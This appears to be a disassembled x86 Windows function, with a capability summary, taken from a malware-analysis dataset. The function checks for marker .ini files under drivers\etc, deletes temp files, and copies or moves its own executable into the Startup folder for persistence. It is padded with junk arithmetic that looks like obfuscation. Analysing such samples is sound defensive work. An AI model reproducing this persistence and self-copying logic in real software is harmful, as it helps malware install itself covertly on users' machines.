Function at 0x401e20
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x304
mov eax, dword [0x457000]
mov ecx, dword [0x455694]
mov dword [esp + 0x300], eax
mov eax, dword [0x455690]
imul eax, eax, 0x31
push esi
mov esi, dword [0x45568c]
push edi
mov edx, ecx
imul edx, edx, 0x39
mov edi, esi
imul edi, edi, 0x61
add edi, eax
add edi, edx
mov eax, 0x38e38e39
imul esi
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x2aaaaaab
imul ecx
sar edx, 3
add edi, edx
mov ecx, edx
mov edx, dword [0x4556a4]
mov eax, 0x2aaaaaab
imul edx
shr ecx, 0x1f
add ecx, edi
mov edi, dword [0x455688]
sar edx, 3
imul edi, edi, 0x2a
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x5397829d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x66666667
imul esi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [0x45569c], ecx
sub edi, eax
lea ecx, [ecx + ecx*4]
lea edx, [edi + ecx*2]
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x4556a4], edx
call fcn.00429109
add esp, 8
cmp eax, 0xffffffff
je 0x4022a4
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.00429109
add esp, 8
cmp eax, 0xffffffff
je 0x4022a4
mov eax, dword [0x4556a0]
mov esi, dword [0x455690]
imul eax, eax, 0x31
mov ecx, dword [0x4556a4]
imul esi, esi, 0xffffffc7
sub esi, eax
mov eax, 0x38e38e39
imul ecx
sar edx, 3
mov ecx, edx
mov edi, dword [0x455688]
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x45569c]
mov eax, 0x151d07eb
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
add esi, dword [str._r_____r____]
push 0x104
lea ecx, [esp + 0x20c]
add eax, esi
push ecx
add edi, eax
push 0
mov dword [0x455688], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x208]
push 0x5c
push edx
call fcn.004293b0
mov esi, eax
push str..tmp
lea eax, [esp + 0x214]
push eax
lea ecx, [esp + 0x18]
push 0x445b08
push ecx
inc esi
call fcn.004290b1
mov eax, dword [0x4556a8]
mov ecx, dword [0x455690]
lea edx, [eax + eax*2]
mov eax, dword [0x455688]
lea eax, [eax + eax*8]
shl edx, 4
lea edi, [edx + eax*4]
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x45569c]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 3
mov eax, edx
add esp, 0x18
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4556a0]
push 0
sub edi, eax
push 0x18
lea ecx, [esp + 0x110]
sub edi, edx
push ecx
sub edi, 0x39
push 0
mov dword [0x455690], edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x108]
lea ecx, [eax + 1]
jmp 0x402020
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402020
sub eax, ecx
push esi
lea edx, [esp + eax + 0x10c]
push 0x445b04
push edx
call fcn.004290b1
mov ecx, dword [0x4556a8]
mov eax, 0xb13b13b1
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov esi, ecx
mov ecx, dword [0x455698]
imul esi, esi, 0x39
mov eax, 0x78787879
imul ecx
sar edx, 3
mov ecx, edx
sub edi, esi
add edi, edx
mov edx, dword [0x4556a0]
imul edx, edx, 0x2a
shr ecx, 0x1f
add ecx, edi
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add ecx, edx
mov edx, dword [0x455694]
mov eax, 0x66666667
imul edx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add esp, 0xc
mov dword [0x455698], ecx
xor esi, esi
jmp 0x4020b2
mov ecx, dword [0x455698]
mov edx, dword [str._r_____r____]
imul ecx, ecx, 0x17
imul edx, edx, 0x37
add ecx, edx
mov edx, dword [0x45568c]
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [0x4556a0], ecx
lea ecx, [esp + 8]
push 0
push ecx
call fcn.00429109
add esp, 8
cmp eax, 0xffffffff
je 0x4020ff
lea edx, [esp + 8]
push edx
call edi
inc esi
cmp esi, 0x64
jl 0x4020ac
mov ecx, dword [0x455698]
mov eax, 0x30c30c31
imul ecx
sar edx, 3
mov esi, dword [0x4556a0]
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
mov ecx, eax
mov eax, 0x151d07eb
imul edx
mov edi, dword [esp + 0x310]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [0x455690]
mov edx, esi
imul eax, eax, 0x34
imul edx, edx, 0x43
sub ecx, edx
add ecx, eax
test edi, edi
mov dword [0x4556a8], ecx
je 0x402162
cmp edi, 2
jne 0x402222
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea ecx, [esp + 0x10c]
push ecx
lea edx, [esp + 0x10]
push edx
call esi
test eax, eax
jne 0x402216
mov eax, dword [0x4556a8]
mov ecx, eax
shl ecx, 4
add ecx, eax
mov edi, ecx
mov ecx, dword [0x455690]
mov eax, 0x2aaaaaab
imul ecx
mov ecx, dword [0x45568c]
sar edx, 3
imul ecx, ecx, 0x34
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x45569c]
mov eax, 0x5397829d
imul ecx
mov ecx, dword [0x455694]
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x66666667
imul ecx
sar edx, 2
mov ecx, edx
add edi, edx
push 6
lea edx, [esp + 0x10c]
shr ecx, 0x1f
push edx
lea eax, [esp + 0x10]
add ecx, edi
push eax
mov dword [str._r_____r____], ecx
call esi
pop edi
mov eax, 0xfffffffe
pop esi
mov ecx, dword [esp + 0x300]
call fcn.00428ee1
add esp, 0x304
ret
mov esi, dword [0x4556a0]
mov ecx, dword [0x4556a8]
imul esi, esi, 0x34
mov edx, ecx
shl edx, 4
add edx, ecx
mov ecx, dword [0x45568c]
sub esi, edx
mov eax, 0x30c30c31
imul ecx
sar edx, 3
add esi, edx
mov ecx, edx
mov eax, 0x66666667
imul dword [0x455690]
sar edx, 2
shr ecx, 0x1f
add ecx, esi
mov eax, edx
shr eax, 0x1f
add ecx, edx
mov edx, dword [0x455694]
add eax, ecx
sub eax, edx
add eax, 0x37
cmp edi, 1
mov dword [0x45568c], eax
je 0x402278
cmp edi, 2
jne 0x40228d
push 0
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x300]
call fcn.00428ee1
add esp, 0x304
ret
mov ecx, dword [esp + 0x308]
pop edi
or eax, 0xffffffff
pop esi
call fcn.00428ee1
add esp, 0x304
ret